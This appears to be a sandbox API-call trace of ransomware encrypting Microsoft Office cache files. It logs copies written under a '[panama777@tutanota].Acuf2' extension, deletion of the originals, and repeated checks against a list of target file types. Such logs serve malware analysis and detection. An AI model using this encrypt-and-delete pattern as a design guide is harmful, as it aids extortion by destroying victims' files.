	[0039.507] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0039.508] GetLastError () returned 0x0
	[0039.508] ReadFile (in: hFile=0x168, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0xa40, lpOverlapped=0x0) returned 1
	[0039.535] WriteFile (in: hFile=0x160, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xa50, lpOverlapped=0x0) returned 1
	[0039.536] ReadFile (in: hFile=0x168, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.536] WriteFile (in: hFile=0x160, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0039.536] SetEndOfFile (hFile=0x160) returned 1
	[0039.536] CloseHandle (hObject=0x160) returned 1
	[0039.537] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.537] SetEndOfFile (hFile=0x168) returned 1
	[0039.538] CloseHandle (hObject=0x168) returned 1
	[0039.538] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.538] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0039.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.538] lstrlenW (lpString=".doc") returned 4
	[0039.538] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.538] lstrlenW (lpString=".docx") returned 5
	[0039.538] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0039.538] lstrlenW (lpString=".pdf") returned 4
	[0039.538] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.539] lstrlenW (lpString=".xls") returned 4
	[0039.539] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.539] lstrlenW (lpString=".xlsx") returned 5
	[0039.539] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0039.539] lstrlenW (lpString=".ppt") returned 4
	[0039.539] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.539] lstrlenW (lpString=".zip") returned 4
	[0039.539] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.539] lstrlenW (lpString=".rar") returned 4
	[0039.539] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.539] lstrlenW (lpString=".bz2") returned 4
	[0039.539] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.539] lstrlenW (lpString=".7z") returned 3
	[0039.539] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.539] lstrlenW (lpString=".dbf") returned 4
	[0039.539] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.539] lstrlenW (lpString=".1cd") returned 4
	[0039.539] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.539] lstrlenW (lpString=".jpg") returned 4
	[0039.539] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.539] lstrlenW (lpString=".doc") returned 4
	[0039.539] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.539] lstrlenW (lpString=".docx") returned 5
	[0039.539] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0039.539] lstrlenW (lpString=".pdf") returned 4
	[0039.540] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.540] lstrlenW (lpString=".xls") returned 4
	[0039.540] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.540] lstrlenW (lpString=".xlsx") returned 5
	[0039.540] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0039.540] lstrlenW (lpString=".ppt") returned 4
	[0039.540] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.540] lstrlenW (lpString=".zip") returned 4
	[0039.540] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.540] lstrlenW (lpString=".rar") returned 4
	[0039.540] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.540] lstrlenW (lpString=".bz2") returned 4
	[0039.540] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.540] lstrlenW (lpString=".7z") returned 3
	[0039.540] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.540] lstrlenW (lpString=".dbf") returned 4
	[0039.540] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.540] lstrlenW (lpString=".1cd") returned 4
	[0039.540] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.540] lstrlenW (lpString=".jpg") returned 4
	[0039.540] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.540] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.540] lstrlenW (lpString="Setup.xml") returned 9
	[0039.540] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0039.573] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=31094) returned 1
	[0039.573] CloseHandle (hObject=0x194) returned 1
	[0039.573] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0039.574] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.574] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0039.574] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.574] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.574] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0039.574] GetLastError () returned 0x0
	[0039.574] ReadFile (in: hFile=0x194, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x7976, lpOverlapped=0x0) returned 1
	[0039.576] WriteFile (in: hFile=0x178, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x7980, lpOverlapped=0x0) returned 1
	[0039.578] ReadFile (in: hFile=0x194, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.578] WriteFile (in: hFile=0x178, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0039.578] SetEndOfFile (hFile=0x178) returned 1
	[0039.578] CloseHandle (hObject=0x178) returned 1
	[0039.579] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.579] SetEndOfFile (hFile=0x194) returned 1
	[0039.580] CloseHandle (hObject=0x194) returned 1
	[0039.580] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.580] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0039.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.580] lstrlenW (lpString=".doc") returned 4
	[0039.581] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.581] lstrlenW (lpString=".docx") returned 5
	[0039.581] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0039.581] lstrlenW (lpString=".pdf") returned 4
	[0039.581] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.581] lstrlenW (lpString=".xls") returned 4
	[0039.581] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.581] lstrlenW (lpString=".xlsx") returned 5
	[0039.581] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0039.581] lstrlenW (lpString=".ppt") returned 4
	[0039.581] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.581] lstrlenW (lpString=".zip") returned 4
	[0039.581] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.581] lstrlenW (lpString=".rar") returned 4
	[0039.581] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.581] lstrlenW (lpString=".bz2") returned 4
	[0039.581] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.581] lstrlenW (lpString=".7z") returned 3
	[0039.581] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.581] lstrlenW (lpString=".dbf") returned 4
	[0039.581] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.581] lstrlenW (lpString=".1cd") returned 4
	[0039.581] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.581] lstrlenW (lpString=".jpg") returned 4
	[0039.581] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.582] lstrlenW (lpString=".doc") returned 4
	[0039.582] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.582] lstrlenW (lpString=".docx") returned 5
	[0039.582] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0039.582] lstrlenW (lpString=".pdf") returned 4
	[0039.582] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.582] lstrlenW (lpString=".xls") returned 4
	[0039.582] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.582] lstrlenW (lpString=".xlsx") returned 5
	[0039.582] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0039.582] lstrlenW (lpString=".ppt") returned 4
	[0039.582] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.582] lstrlenW (lpString=".zip") returned 4
	[0039.582] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.582] lstrlenW (lpString=".rar") returned 4
	[0039.582] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.582] lstrlenW (lpString=".bz2") returned 4
	[0039.582] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.582] lstrlenW (lpString=".7z") returned 3
	[0039.582] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.582] lstrlenW (lpString=".dbf") returned 4
	[0039.582] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.582] lstrlenW (lpString=".1cd") returned 4
	[0039.582] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.582] lstrlenW (lpString=".jpg") returned 4
	[0039.582] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.583] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.583] lstrlenW (lpString="Office32WW.xml") returned 14
	[0039.583] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0039.584] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=4274) returned 1
	[0039.584] CloseHandle (hObject=0x194) returned 1
	[0039.584] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020
	[0039.584] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0039.585] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.585] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.585] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0039.585] GetLastError () returned 0x0
	[0039.585] ReadFile (in: hFile=0x194, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x10b2, lpOverlapped=0x0) returned 1
	[0039.586] WriteFile (in: hFile=0x178, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x10c0, lpOverlapped=0x0) returned 1
	[0039.587] ReadFile (in: hFile=0x194, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.587] WriteFile (in: hFile=0x178, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0039.588] SetEndOfFile (hFile=0x178) returned 1
	[0039.588] CloseHandle (hObject=0x178) returned 1
	[0039.589] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.589] SetEndOfFile (hFile=0x194) returned 1
	[0039.590] CloseHandle (hObject=0x194) returned 1
	[0039.590] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.590] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1
	[0039.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.591] lstrlenW (lpString=".doc") returned 4
	[0039.591] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.591] lstrlenW (lpString=".docx") returned 5
	[0039.591] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0039.591] lstrlenW (lpString=".pdf") returned 4
	[0039.591] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.591] lstrlenW (lpString=".xls") returned 4
	[0039.591] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.591] lstrlenW (lpString=".xlsx") returned 5
	[0039.591] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0039.591] lstrlenW (lpString=".ppt") returned 4
	[0039.591] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.591] lstrlenW (lpString=".zip") returned 4
	[0039.591] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.591] lstrlenW (lpString=".rar") returned 4
	[0039.591] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.782] lstrlenW (lpString=".bz2") returned 4
	[0039.783] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.783] lstrlenW (lpString=".7z") returned 3
	[0039.783] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.783] lstrlenW (lpString=".dbf") returned 4
	[0039.783] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.783] lstrlenW (lpString=".1cd") returned 4
	[0039.783] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.783] lstrlenW (lpString=".jpg") returned 4
	[0039.783] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.783] lstrlenW (lpString=".doc") returned 4
	[0039.783] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.783] lstrlenW (lpString=".docx") returned 5
	[0039.783] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0039.783] lstrlenW (lpString=".pdf") returned 4
	[0039.783] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.783] lstrlenW (lpString=".xls") returned 4
	[0039.783] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.783] lstrlenW (lpString=".xlsx") returned 5
	[0039.783] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0039.783] lstrlenW (lpString=".ppt") returned 4
	[0039.783] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.783] lstrlenW (lpString=".zip") returned 4
	[0039.783] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.783] lstrlenW (lpString=".rar") returned 4
	[0039.783] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.784] lstrlenW (lpString=".bz2") returned 4
	[0039.784] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.784] lstrlenW (lpString=".7z") returned 3
	[0039.784] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.784] lstrlenW (lpString=".dbf") returned 4
	[0039.784] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.784] lstrlenW (lpString=".1cd") returned 4
	[0039.784] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0039.784] lstrlenW (lpString=".jpg") returned 4
	[0039.784] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.784] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.784] lstrlenW (lpString="Setup.xml") returned 9
	[0039.784] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198
	[0040.002] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=20577) returned 1
	[0040.002] CloseHandle (hObject=0x198) returned 1
	[0040.002] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0040.002] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
